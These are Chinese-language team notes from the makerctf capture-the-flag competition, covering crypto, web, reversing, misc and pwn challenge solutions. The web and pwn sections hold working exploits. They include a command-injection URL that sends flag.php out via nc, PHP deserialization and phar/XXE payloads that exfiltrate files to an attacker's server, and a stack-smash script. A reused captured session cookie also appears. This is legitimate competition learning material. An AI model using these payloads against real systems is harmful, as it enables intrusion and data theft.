---
# System prepended metadata

title: makerctf
tags: [ctf]

---

---
tags: ctf
---
# makerctf

:::success
**URL**: https://makerctf.com
**Uesrname**: 80/tcp filtered http
**Password**: [a-z]{9}
:::

## 关于本文档

:::warning
使用本文档来促进线上的队员和在比赛基地的队员之间的合作，并记录整个比赛的过程。添加新题目请严格套用段落格式 `Chall_name | Working、Stuck、Done | Working：YourName`
:::

## 如何使用本文档

:::danger
在你决定解一道题之前，请**一定查看这道题当前的状态**，并且**把你的名字加入Working列表**
* 如果你卡在某一到题上了，请及时更新这道题的状态
* 题目状态：
  * **OPEN** - 有人正在试图解这道题。如果你正在做，请把名字写在 Working 后面。
  * **STUCK** - 卡住了。**如果你卡住了，请在下面留下当前进展和相关信息**，还有你的名字（这样后来者就能联系你了）。当你决定放弃这道题时，请把名字从 working 后面移除。
  * **DONE** - 解决了！鼓掌撒花！
* **请勿将key直接贴在本文档中**
* **重中之重：请及时更新每道题的状态！**
:::

---

[TOC]

---

# Crypto

## Easy RSA | DONE

```bash
> openssl rsa -pubin -in pubkey.pem -modulus -text

RSA Public-Key: (257 bit)
Modulus:
    01:98:ea:d1:34:97:54:87:96:65:83:bf:36:3d:7d:
    36:ff:e4:24:1d:fb:f0:ea:b3:75:11:de:de:00:f2:
    79:fe:2f
Exponent: 65537 (0x10001)
Modulus=198EAD134975487966583BF363D7D36FFE4241DFBF0EAB37511DEDE00F279FE2F
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAZjq0TSXVIeWZYO/Nj19Nv/kJB378Oqz
dRHe3gDyef4vAgMBAAE=
-----END PUBLIC KEY-----
```
184958528317971463827449839591526689799653355547671707738065461546785649065519
\=
420226057252427765877741059207519510621( p )
*
440140550843727826962832356360132665339( q )

```python
import gmpy2

p = 420226057252427765877741059207519510621
q = 440140550843727826962832356360132665339
e = 65537

f = int(open('flag.enc', 'rb').read().encode('hex'), 16)
print f
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(f, d, n))[2:]
if len(h) % 2 == 1:
    h = '0' + h
s = h.decode('hex')
print s
```

## B&C | DONE

```python
x=base64.b64decode(
    base64.b32decode(
        'LJDU433EGJNDIWTKNQ4GCWCCORIW2YZ5'
    )
)
x=>'dchwfxf9|ipmBg'
```

![](https://i.imgur.com/ysiO7vy.png)

## Affine_code | DONE

flag一开始都是makerctf{, 由此可解方程推出a=6, b=13
```python
import base64

part_flag = 'makerctf{'

cb = base64.b64decode(
    'bDhQMDY1bXVaTDRBeW53WEkycGhpUkprN0RNM0J9Rnh7VFZ2TllHUWpkZnFvMVNXS0g5X1VhZU9zcnRFY2JnQ3o='
).decode('utf-8')
ciphertext='HmRyFKN548xMcFZNOkmN02M7ExMEw55kMyr'
index, trans = [], []

for i in ciphertext:
    index.append(cb.index(i))

for i in part_flag:
    trans.append(cb.index(i))

for i in range(2):#range(len(trans)):
    print(f'(a*{trans[i]}+b)%{len(cb)}=={index[i]}')

a, b = 6, 13
trans = []
for i in index:
    for k in range(10):
        if (k*65-b+i) % a == 0:
            trans.append(int((k*65-b+i)/a))
            break

for i in trans:
    print(cb[i], end='')

```

## Base&Fez | Done
原题，对于异或加密，知道一段明文和两段密文可直接消去密钥。


```python
a1='c50a135a56c000a4c394549407bb2cab1349ebdc4ee31e0601e33b47d3752381fc82b3bd37fa65d9a9740890fe25f6e8ba9135d3499f'
a2='aa5467efd0b871e3e5fc89f146f766b82b5145c005a4872fd1ef11bf0505027fc7f0eb0db49501832831c7b204492dcdf4a6f0e6d110'
a3='deec78f07a169673679822c2b06c3b96f9fb225dc5404b532dd8b04a992774e8ec76ac7f6322f3492534033dd5953f06d601c14d3ad3'

def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c

test=a1.decode('hex')
test_K=a2.decode('hex')
K_M=a3.decode('hex');

Lt=test[0:27]
Rt=test[27:54]

#Kl=K2^K3^K5^K6  Kr=K1^K3^K4^K6^K7
Kl=xor(test_K[0:27],Rt)
Kr=xor(Lt,xor(test_K[27:54],Rt))

Mr=xor(Kl,K_M[0:27])
Ml=xor(Mr,xor(Kr,K_M[27:54]))

print Ml+Mr
```
最终得到一串有各种符号的字符串，试了半天从base64库中找出了还有Ascii85/Base85这种东西,decode得flag

# Web

## 签到题 | Done

分析Inspect->Network, 在响应头中发现
```
hint: please go to yougotme.php?source_code
```
之后发现  
![](https://i.imgur.com/8VxqmrK.png)
弱类型+strcmp数组绕过

maker={"user":{"name":0,"password":[]}}

## easy_eval | DONE

![](https://i.imgur.com/OrwBGsG.png)
就是要绕过正则  
基本思路是用符号异或来并出来一个cat flag  
但是无所谓了:  
~~Konge: 我找到了非预期解!~~
似乎不算非预期？
![](https://i.imgur.com/ebOXH2p.png)

exp:
```bash=
http://188.131.232.148/?cmd=${`cat flag.php|nc server port`}
```


## Pineapple | DONE

/.git/信息泄漏

然后是反序列化

```bash
curl 'http://58.87.79.215:2019/?info=[待deserialize的部分]&lyric=php://input' -d 'I want to eat pineapple'
```
O:4:"Blog":1:{s:4:"file";s:len(s):"[可控部分]";}  
观察源代码, 
![](https://i.imgur.com/pgtAKAd.png)
发现可以构造bash命令拼接  
经测试:
```
$blacklist = ["\"", "ls", "curl", "-"];
```
猜测blacklist掉了绝大多数/bin下的文件名与php参数

经百度(甚至不用咕鸽), php会将'/???/???'解析为'/bin/cat'
于是最终payload: O:4:"Blog":1:{s:4:"file";s:29:";/???/???%09./templates/Secrets";}

## Regex and PHP are the best! |Done

R 在php正则中表示递归匹配, 此处举例: a(a(a()))
所以需要找到一个不需要任何参数的, 有实际作用的函数
经查询, 找到getallheaders()函数, 可以引入其他的头
然后。。。就找到了原题
![](https://i.imgur.com/DeAxeFc.png)
![](https://i.imgur.com/DrWfHv6.png)


## can u see the flag | Frank 1 DONE 2 DONE

![](https://i.imgur.com/cgPDDPd.png)
`call_user_func($_GET['func'],$_GET);`会造成变量覆盖, 将`$func_0`覆盖后能够执行任意函数, 其中$_POST能够作为参数传入

### task 1

:::warning
~~暂时找不到一个合适的函数来进行反序列化。根据题意, 要找到一个接受一个数组(即`$_POST`)的函数将其函数名覆盖到func_0上~~
SOLVED
:::
查询关键词: [SESSION, 反序列化, serialize_handler]

从目的分析过程: 执行include('Flag.php')

~~通过覆盖`$func_0`为`unserialize()`可创建`get_flag`对象~~
通过将其覆盖为session_start可以起一个session, 就能往`$_SESSION`里头写对象

由于`class get_flag::flag1()`中验证要求变量名不为f1a9, 且目的是包含$f1a9='Flag.php'~~, 可利用一开始的变量覆盖创建一个新的变量, 其值为Flag.php~~而f1a9为常量, 故此处应当是~~某变量强制转换为字符串后值为"f1a9"~~\f1a9表示在全局命名空间中寻找f1a9, 由此绕过
![](https://i.imgur.com/iLb3tVJ.png)
于是可以include('Flag.php'), 应该就能看到flag了

而get_flag对象中的execute函数只有在`maker_q`对象中会调用, 所以应当构造一个`maker_q`来间接创建并调用

要触发`maker_q`的魔法函数`__call`, 需要用到`maker_w`, 其中调用了`maker_q`中没有的成员函数`test0()`

要触发`maker_w`中的`__toString()`, 则需要用到`maker_e`中的字符串拼接操作。

要触发`maker_e`的`__invoke()`, 就得来`maker_r`

略微修改welcome.php以获得序列化的串
```php
<?php
class get_flag { public $get1;protected $get2;function __construct() {
        $this->get1='get_flag::flag1';
        $this->get2='f1a9';
}}
class maker_q { public $q1;private $q2;function __construct() {
        $this->q1 = new get_flag();
}}
class maker_w { public $w1;private $w2;function __construct() {
       $this->w1 = new maker_q();
}}
class maker_e { public $e1;private $e2;function __construct() {
        $this->e1 = new maker_w();
}}
class maker_r { public $r1;public $r2;function __construct() {
        $this->r2 = new maker_e();
}}
$x = new maker_r();
print(base64_encode(serialize($x)));
```
注: base64就不用管private和protected成员序列化后产生的0x00了

最终过程:
#### 0x00: Gather Information
观察url/welcome?func=extract&func_0=phpinfo
发现
![](https://i.imgur.com/xxIuxDk.png)
serializer设置为了php_serialize且关闭了upload_progress.cleanup选项
#### 0x01: Prepare the Payload
通过burp发送文件+POST["PHP_SESSION_UPLOAD_PROGRESS": '|'+payload]数据包, 写入Session文件
![](https://i.imgur.com/cKr38U3.png)

#### 0x02 Trigger
之后可以通过
![](https://i.imgur.com/qTb6WaD.png)
![](https://i.imgur.com/DXGQYci.png)
POST中启用s来触发`session_start($OPTIONS)`改变读取时的serializer

exp:
```python
import requests
import base64
import re

ses = requests.session()

payload = base64.b64decode(
    'Tzo3OiJtYWtlcl9yIjoyOntzOjI6InIxIjtOO3M6MjoicjIiO086NzoibWFrZXJfZSI6Mjp7czoyOiJlMSI7Tzo3OiJtYWtlcl93IjoyOntzOjI6IncxIjtPOjc6Im1ha2VyX3EiOjI6e3M6MjoicTEiO086ODoiZ2V0X2ZsYWciOjI6e3M6NDoiZ2V0MSI7czoxNToiZ2V0X2ZsYWc6OmZsYWcxIjtzOjc6IgAqAGdldDIiO3M6NToiXGYxYTkiO31zOjExOiIAbWFrZXJfcQBxMiI7Tjt9czoxMToiAG1ha2VyX3cAdzIiO047fXM6MTE6IgBtYWtlcl9lAGUyIjtOO319'
).decode()

ses.get('http://39.105.115.217:8888/welcome.php',params={
    'func': 'extract',
    'func_0': 'session_start'
})

ses.post('http://39.105.115.217:8888/welcome.php',params={
    'func': 'extract',
    'func_0': 'session_start'
}, files={
    'file': open('a.out', 'rb')
}, data={
    'PHP_SESSION_UPLOAD_PROGRESS': '|'+payload
})

print(re.findall(
    r'makerctf{.+}',
    ses.post('http://39.105.115.217:8888/welcome.php', params={
            'func': 'extract',
            'func_0': 'session_start'
        }, data={
            'serialize_handler': 'php',
            's': 'something'
        }
    ).text
))
```


### task 2

~~反序列化`maker_e`并访问其私有变量e2以触发魔法函数`__get()`, 执行`ls`命令(有用么?)~~

~~上一问中maker_e中system('ls')可以列出当前目录下文件。
经过某种程度的fuzz发现目标文件名应该含有maker.gif且能够%00截断(仅猜测)~~
已通过与第一问flag同时获得的php源码确定了应当将maker.gif移动后访问获得gif

`class Secret`给出了密钥的生成器, 明显用了伪随机数生成器`mt_rand()`, 于是可以跑出seed
![](https://i.imgur.com/xYXrcv3.png)
seed = 2128250044
得到admin_key=!XPiScRy
~~*不管有没有用先搞出来再说.jpg*~~
如果用普通key, 无法获得写入的文件名。
由源码可知文件名为maker.gif的图片是jpg, 而题目要求找到~~真正的gif图片~~flag.php(我眼瞎)
![](https://i.imgur.com/q0YFHsJ.png)
根据hint, 要在`class Admin`可以控制的`file_put_contents`中写入一个phar压缩文件, 再利用同一个地方的`file_get_contents`进行读取。
反序列化出的phar要求能够触发xxe, **经查询**/\*这"查询"可累死我了\*/应当使用`SimpleXMLElement`进行攻击
显然直接反序列化`SimpleXMLElement`是不行的, 这样做并没有调用其构造函数。 所以应当看题目的代码中哪里有new操作
观察源代码, 发现在`class Move`中有`ReflectionClass`的构造, 就是它了。
![](https://i.imgur.com/nEdOFXJ.png)
参考(https://www.freebuf.com/vuls/154415.html)
payload generator:
```php
<?php
class Move {
    public $n = "Frank";
}
$pos = "php://filter/convert.base64-encode/resource=".
        "/var/www/html/flag.php";
$xml = <<<str
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "$pos">
<!ENTITY % dtd SYSTEM "http://<my_vps:my_port>/test.dtd">
%dtd;
%send;
]>
<root></root>
str
;
//服务端 test.dtd内容: 
//<!ENTITY % payload 
//    "<!ENTITY &#x25; send SYSTEM 'http://<my_vps:my_port>/
//    ?content=%file;'>
//">
//%payload;
//可以在服务端访问日志中读取/var/www/html/flag.php base64后的内容
$o = new Move();
$o->k = "!XPiScRy";
$o->m = "SimpleXMLElement";//要new的类
$o->n = $xml;//参数

$x = new Phar("payload.phar");
$x->startBuffering();
$x->setStub("GIF9a <?php __HALT_COMPILER();?>");//绕过gif验证
$x->setMetadata($o);
$x->addFromString("asdf.txt","a");
$x->stopBuffering();
```

将生成的payload.phar以Admin方式上传到题目服务器, 通过伪协议引用phar即可造成反序列化
~~不能使用~~ 要用骚操作来使用phar://伪协议。被过滤。
-> 如何加载phar以触发反序列化?
(https://xz.aliyun.com/t/2958)
![](https://i.imgur.com/JLKAM3v.png)


# Re

## Tetris | DEAD | Working: ChAn Konge Frank

![](https://i.imgur.com/Ax3u981.png)

:::info
~~Konge:
改初始值，改跳转条件无效，大概在生成flag的时候还有判断（这游戏有多线程草
ChAn:
补充：在反汇编的时候有一个偏移dword ptr [r3+14h]，其中r3的地址不在主线程中，而是在子线程中，我使用IDA远程调试无法定位r3的地址，自然找不到[r3+14h]的地址。
理论上来说，只需要找到这个地址，并且在jle指令之前改变其中的值，就可以通过。后面的生成flag时的判断是调用了函数来检测该地址值是否是符合条件的，单纯的爆破没有效果。~~
:::

https://paste.ubuntu.com/p/KDKzch8CYq/ << deprecated

游戏启动时(`game_create`)进行key_create(),存储于游戏状态结构体的第12个指针上
```cpp
char *__fastcall game_init(game_state *a1, int a2, int a3){
    ...
    result = key_create();
    a1->key = result;
    return result;
}
int *key_create() {
  int *v0; // rbx
  v0 = (char *)malloc(0x48uLL);
  pthread_rwlock_init((pthread_rwlock_t *)(v0 + 16), 0LL);
  v0[0] = v0[2] = 0;
  return v0;
}
```
在`game_init()`函数中同样可以大概地摸出在此程序中大量使用的结构体的结构如下:
![](https://i.imgur.com/KrkXaBK.png)
```cpp
struct game_state{
    int height,width;
    int **pad;
    int score,level;
    int field_18[9];//代码中出现了与其它game_state的联系
    int ...//3c-58不知道干什么用的, 但不重要
    struct *key;
};
```
根据malloc(104)可知其大小, 剩下的按照`game_init()`和其它特征函数中的地址分布进行切割, 再根据其数值得到某些变量的意义

我暂且将其命名为`struct game_state`

在每一个`game_tick`中又会进行一次`key_write()`:
![](https://i.imgur.com/nowpa0O.png)
![](https://i.imgur.com/DO9hPEu.png)
```cpp
void key_write(int *key, _QWORD *FLAG_tuple) {
    if (key) {
        //v2的作用是表明FLAG的长度
        pthread_rwlock_wrlock((pthread_rwlock_t *)(key + 4));
        _QWORD *v5 = (_QWORD *)(key[0] + 16LL * key[2]);
        v5[0] = FLAG_tuple[0];
        v5[1] = FLAG_tuple[1];
        key[2]++;
        pthread_rwlock_unlock((pthread_rwlock_t *)(key + 4));
    }
}
```
![](https://i.imgur.com/13UhXR0.png)

~~**[链接: flag数组数值, 共480个元素](https://paste.ubuntu.com/p/CMMjGfNW56/)**~~
根据`key_write()`逻辑, 每组FLAG元素有两个, 每个有8字节(`_QWORD`)可知应该将480个元素按照16个一组, 共分为30组。
而根据`try_write_key()`中"过524后每200分写一次"的逻辑, 在6323关内`key_write()`正好执行了30次。
所以应当将FLAG导出为`__int64 FLAG[60]`, 如下:
**(https://paste.ubuntu.com/p/678MT67h6M/)**
有人想写脚本的话复制即可
在进行若干轮`key_write()`后, 游戏结束, 进入`key_check()`环节
```cpp
__int16 __fastcall key_check(char *input, char *output) {
    //input 为key_write进的game_state->key
    //[COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

	pthread_rwlock_rdlock((input + 16));
	outIndex = *(input + 2);
	outIndex = *(input + 2);
	v10 = outIndex - 1LL;
	v3 = alloca(16 * ((16LL * outIndex + 22) / 0x10uLL));
	v11 = (8 * ((&output + 7) >> 3));
	ifft(*input, *(input + 2), 8 * ((&output + 7) >> 3));
	pthread_rwlock_rdlock((input + 16));
	if ( outIndex != 30 )
	  return -1;
	for ( int i = 0; outIndex - 1 > i; ++i ) {
	  for ( int j = 0; outIndex - 1 - i > j; ++j );
      //emmmmmm....这里好像的确是啥都没干
	}
	for ( k = 0; k < outIndex; ++k )
	  output[k] = (*&v11[16 * k] + 0.5);
	output[outIndex] = 0;
	return 0;
}
```


## \*ss_kick | DEAD | Working: Frank ChAn
```python
#v1 v2 execute返回值是结构体
#v2值确定：“KIcK*ss”
#v1的值随输入的变化而变化
table = [38, 40, 8, 46, 88, 16, 7, 45, 50, 33, 46, 27, 29, 20, 20,
         8, 60, 97, 89, 0, 44, 0, 120, 0, 32, 79, 1, 44, 122, 58, 
         60, 56, 69, 44, 21, 62, 39, 13, 50, 16, 90, 14]
def check(v1, v2, i, i):
    s = i*'>'+'l'
    return execute(s,v1) xor execute(s, v2)

v1=execute(
    ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>",
    0
)
#(即',>'*42)
v2=execute("75l>s-->99>s>41+>115l>s",0)

for i in range(42):
    if(check(v2,v1,i,i)!=table[i])
        fail
success

```
len(table)==42


## .NET | DONE | Working: Konge

ILSpy反编译后得到DES的iv与密钥

## easyre | DONE | Working: Frank

使用IDA找到scanf函数，交叉引用即可定位到关键函数。//ok
~~然而，对于somefunc函数IDA无法给出反汇编代码，只能上x32dbg。
问题是，x32dbg在动态调试这个程序的时候会直接退出。只能使用进程附加的方式进行调试。~~
some_func:
https://paste.ubuntu.com/p/RftCQ9pzjw/
```
byte_402000=r"
,.1fjsz^+{5bkrA&=}6a8D9E:gv)]ux$~"3dity%_;w#`/2ehlqB*-[70mpC(4c
"
```

流程: 
Str--somefunc-->Dst
scramble(Dst)=Dst2//ok
check(Dst2)//ok

```python
temp=[23, 43, 54, 124, 23, 12, 4, 21, 43, 21, 13, 87, 65, 45, 
      32, 56, 32, 64, 24, 25, 39, 67, 44, 43, 26, 34, 67, 45, 
      34, 23, 54, 65, 76, 89, 76, 56]

def scramble(Dst):
    for i in range(len(Dst)):# which is 36
        Dst[i]^=temp[i];
        Dst[i]+=i;

scramble(dst)=[97, 112, 97, 86, 116, 77, 114, 45, 126, 111, 65, 
               50, 16, 102, 88, 88, 42, 135, 111, 110, 50, 71, 92, 
             113, 59, 146, 59, 99, 55, 87, 44, 94, 133, 148, 71, 51]

dst=[118, 68, 105, 47, 103, 68, 104, 51, 93, 115, 58, 112, 69, 116, 
     106, 113, 58, 54, 69, 66, 57, 113, 106, 113, 57, 91, 98, 101, 
     57, 45, 56, 126, 41, 42, 105, 40]
str(dst)="vDi/gDh3]s:pEtjq:6EB9qjq9[be9-8~)*i("
```
重构进度: https://paste.ubuntu.com/p/HcyJNSngCQ/
已经很明朗了,base64
```python
base_map=
  "@,.1fjsz^+{5bkrA&=}6a8D9E:gv)]ux$~\"3dity%_;w#`/2ehlqB*-[70mpC(4c"
```

```python
flag = base64decode(
    'vDi/gDh3]s:pEtjq:6EB9qjq9[be9-8~)*i(',
    map=base_map
)
```

## babyre | DONE | Working: ChAn
运用了VirtualProtect进行了一些操作。
关键步骤就是
```
if((input^xorlist)==datalist)
``` 
运用x32dbg跟进异或运算call中，下断点依次得到xorlist
```cpp
int datalist[37]={50,50,28,41,203,25,60,98,252,66,75,16,61,2,198,125,
                  200,210,162,186,93,85,179,88,196,238,158,126,120,
                  223,108,171,253,64,236,164};
int xorlist[]={0x5F,0x53,0x77,0x4C,0xB9,0x7A,0x48,0x04,0x87,0x10,
               0x28,0x24,0x62,0x63,0xA8,0x19,0x97,0x93,0xCC,0xCE,
               0x34,0x0A,0xD7,0x1D,0xA6,0x9B,0xF9,0x21,0x49,0xAC,
               0x33,0xCE,0x9C,0x33,0x95,0xD9,0x93,0xEE,0xE0};
void show()
{
	for(int i=0;i<37;i++)
		printf("%c",datalist[i]^xorlist[i]);
} 
```

# Misc

## Backwords | DONE | Working: Konge

jpg结束后有倒过来写的PNG文件

## 谁动了 toads 的饼干 | DONE | Working: Konge Frank

在流量中寻找与网易云音乐相关的http请求, 获得登陆所需的
```
MUSIC_U=770fb2e9c3f89da0df6e49de50862b0f4af3aefa0477470a695394ada5558986e38beba143058277023b2916c442ccc68a56228faf1c19aafe2897047e8106fb; 
```
访问一次云音乐页面, 被set-cookie到crsf-token后即可访问私信页面

## Real_Sign_IN | DONE
关注微信

## 究极脑洞题 | DONE | Working: Konge Frank ChAn

一眼看去像个哈希，但试了下就是hex编码，然后凭借老司机的直觉和新版百度云分享链接规则猜出是**百度云分享链接**；手机qq中查看hint**像个qq号**，尝试查询找到w1nd的bot，其个性签名就是百度云分享链接的密码。下载得到压缩包，对图片文件名解码得到提示，要亲自去找群主要密码（然而可爱的w1nd*不可爱地*拒绝了），失败后尝试w1nd qq号码成功解压缩照片，在照片结尾找到flag。
~~w1nd真可爱啊~~
~~w1nd真可爱啊~~
~~w1nd真可爱啊~~
温会长真可爱啊! (振声

## handshake | DONE | Working: Konge Frank

follow TCP流得到手写版wifi四次握手数据
![](https://i.imgur.com/IeJbE94.png)
https://paste.ubuntu.com/p/ZfCDV6djWc/

```python
from passlib.hash import pbkdf2_sha1

key = ''

psk = pmk = pbkdf2_sha1.using(
    salt='maker'.encode('utf-8'),
    salt_size=5,
    rounds=4096
).hash(key).split('$')[-1]
```
psk = pmk = U/uILB3/8.Gu5ZIPZtgY5pw5aVY
脚本爆破因找不到PRF的实现暂且放弃

手动抓包
![](https://i.imgur.com/PzToRRg.png)

并使用WireEdit修改流量内容(Mac没人权系列)

1. 收发MAC地址
2. Auth data(各种nonce, mic等)

跑字典即可


# Pwn

## SSP | DONE | Working: Konge

顾名思义，需要使用一个叫做SSP的技术。主要应用于栈溢出。
详情在CTF Wiki有介绍。链接：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-smash
~~用IDA反汇编的时候，我没有找到flag存储的地址，甚至我把堆栈都看了一遍也没有找到任何指向文件的指针。~~
```python
from pwn import *
bss = 0x600CA0
p=remote('111.230.240.83',7777)
payload = ''
payload += p64(bss) * 100
p.send('\x10\n')
p.send(payload+'\n')
p.readline()
p.readline()
p.readline()
p.send('\x10\n')
try:
    print p.readline()
    print p.readline()
    print p.readline()
    print p.readline()
except:
    pass
finally:
    p.close()
```
(Maker的M是大写)

## easy_rop | DONE | Working: Baidu CTF-Wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/
原题(ret2csu)

## easy_heap | STUCK | Working: ChAn
https://www.anquanke.com/post/id/170852
除了少了一个功能函数之外，其它的改动不大，甚至绝大部分代码都是直接copy的。
~~exp差不多也能白嫖了。（不过我不会写）~~
然而没有了show（）函数，仅仅靠off-by-one是解决不了问题的，因此double free是没有用的。

